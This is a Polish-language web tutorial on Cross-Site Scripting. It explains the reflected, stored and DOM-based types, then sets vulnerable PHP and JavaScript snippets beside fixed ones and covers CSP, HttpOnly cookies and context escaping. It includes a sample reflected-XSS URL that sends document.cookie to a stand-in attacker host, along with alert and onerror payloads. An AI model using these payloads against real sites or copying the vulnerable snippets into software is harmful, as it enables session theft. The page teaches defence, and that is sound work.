Reflected XSS (odbity)
Złośliwy kod jest czescia zadania HTTP i natychmiast “odbijany” w odpowiedzi. Wymaga nakłonienia ofiary do klikniecia specjalnie przygotowanego linku.
This content is not available in your language yet.
Cross-Site Scripting (XSS) to jedna z najczestszych i najbardziej niebezpiecznych podatnosci aplikacji webowych. Polega na wstrzyknieciu złośliwego kodu JavaScript do strony internetowej, który nastepnie wykonuje się w przegladarce ofiary. XSS pozwala atakujacemu na kradziez sesji, przekierowanie użytkowników, modyfikacje zawartosci strony czy instalacje malware.
Według OWASP (Open Web Application Security Project), XSS od lat znajduje się w czołówce najczestszych zagrozeni dla aplikacji webowych.
Reflected XSS (odbity)
Złośliwy kod jest czescia zadania HTTP i natychmiast “odbijany” w odpowiedzi. Wymaga nakłonienia ofiary do klikniecia specjalnie przygotowanego linku.
Stored XSS (przechowywany)
Złośliwy kod jest zapisywany na serwerze (np. w bazie danych) i wyświetlany wszystkim uzytkownikom odwiedzajacym strone. Najbardziej niebezpieczny typ.
DOM-based XSS
Atak zachodzi całkowicie po stronie klienta, gdy JavaScript modyfikuje DOM na podstawie niezaufanych danych bez kontaktu z serwerem.
| Zagrożenie | Opis |
|---|---|
| Kradziez sesji | Przechwycenie ciasteczka sesji (document.cookie) |
| Phishing | Wyświetlenie fałszywego formularza logowania |
| Keylogging | Rejestrowanie wcisniec klawiszy |
| Defacement | Modyfikacja wygladu strony |
| Rozprzestrzenianie malware | Przekierowanie do złośliwych stron |
| Wykonywanie akcji | Działania w imieniu zalogowanego użytkownika |
Atakujacy przygotowuje złośliwy URL
https://example.com/search?q=<script>document.location='https://attacker.com/steal?c='+document.cookie</script>Ofiara klika w link
Link może być zamaskowany przez skracacze URL lub umieszczony w mailu/mediach społecznościowych.
Serwer odbija dane w odpowiedzi
Jeśli serwer nie sanityzuje danych, skrypt trafia do HTML strony.
Przegladarka wykonuje skrypt
Skrypt kradnie ciasteczko sesji i wysyła do atakujacego.
Atakujacy dodaje złośliwy komentarz
W polu komentarza na forum wpisuje skrypt JavaScript.
Serwer zapisuje komentarz w bazie
Bez walidacji, złośliwy kod trafia do bazy danych.
Każdy użytkownik odwiedzajacy strone jest atakowany
Przy wyswietlaniu komentarzy skrypt wykonuje się u wszystkich odwiedzajacych.
<?php// NIEBEZPIECZNE - podatne na XSS$search = $_GET['q'];echo "<h1>Wyniki wyszukiwania dla: $search</h1>";?>Atakujacy może użyć URL:
?q=<script>alert('XSS')</script><?php// BEZPIECZNE - uzywamy htmlspecialchars()$search = htmlspecialchars($_GET['q'], ENT_QUOTES, 'UTF-8');echo "<h1>Wyniki wyszukiwania dla: $search</h1>";?>Funkcja htmlspecialchars() konwertuje znaki specjalne HTML:
<> na >" na "' na '& na &<?php// NIEBEZPIECZNE - stored XSS$comment = $_POST['comment'];$db->query("INSERT INTO comments (text) VALUES ('$comment')");
// Wyswietlanie komentarzy$comments = $db->query("SELECT text FROM comments");foreach ($comments as $comment) { echo "<div class='comment'>{$comment['text']}</div>";}?><?php// BEZPIECZNE - sanityzacja przy wyswietlaniu$comment = $_POST['comment'];// Można też sanityzowac przed zapisem, ale lepiej przy wyswietlaniu$db->query("INSERT INTO comments (text) VALUES (?)", [$comment]);
// Wyswietlanie z escapowaniem$comments = $db->query("SELECT text FROM comments");foreach ($comments as $comment) { $safeText = htmlspecialchars($comment['text'], ENT_QUOTES, 'UTF-8'); echo "<div class='comment'>{$safeText}</div>";}?>// NIEBEZPIECZNE - DOM XSSconst searchTerm = window.location.hash.substring(1);document.getElementById('search').innerHTML = 'Szukasz: ' + searchTerm;
// URL: https://example.com/#<img src=x onerror=alert('XSS')>// BEZPIECZNE - użycie textContent zamiast innerHTMLconst searchTerm = window.location.hash.substring(1);document.getElementById('search').textContent = 'Szukasz: ' + searchTerm;
// Alternatywnie - sanityzacja przy uzyciu innerHTMLfunction escapeHtml(text) { const div = document.createElement('div'); div.textContent = text; return div.innerHTML;}document.getElementById('search').innerHTML = 'Szukasz: ' + escapeHtml(searchTerm);CSP to nagłówek HTTP ograniczajacy źródła skryptow:
Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.com<?phpheader("Content-Security-Policy: default-src 'self'; script-src 'self'");<?php// Ciasteczko niedostepne dla JavaScriptsetcookie('session_id', $sessionId, [ 'httponly' => true, 'secure' => true, 'samesite' => 'Strict']);| Kontekst | Metoda escapowania |
|---|---|
| HTML body | htmlspecialchars() |
| HTML attribute | htmlspecialchars() z ENT_QUOTES |
| JavaScript | json_encode() lub specjalna funkcja |
| URL | urlencode() |
| CSS | Unikaj dynamicznych wartości |
XSS pozostaje powaznym zagrożeniem dla aplikacji webowych. Skuteczna ochrona wymaga wielowarstwowego podejscia:
htmlspecialchars() w PHP, textContent w JSPamiętaj: Każde dane od użytkownika sa potencjalnie niebezpieczne i musza być odpowiednio obsługiwane przed wyswietleniem w przegladarce.